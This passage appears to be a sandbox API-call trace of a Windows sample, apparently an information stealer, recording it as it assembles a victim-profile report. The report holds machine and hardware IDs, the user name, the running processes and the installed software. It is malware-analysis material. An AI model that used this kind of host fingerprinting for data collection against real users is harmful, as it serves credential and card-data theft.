States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016"
[0054.973] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.974] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 ["
[0054.974] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: 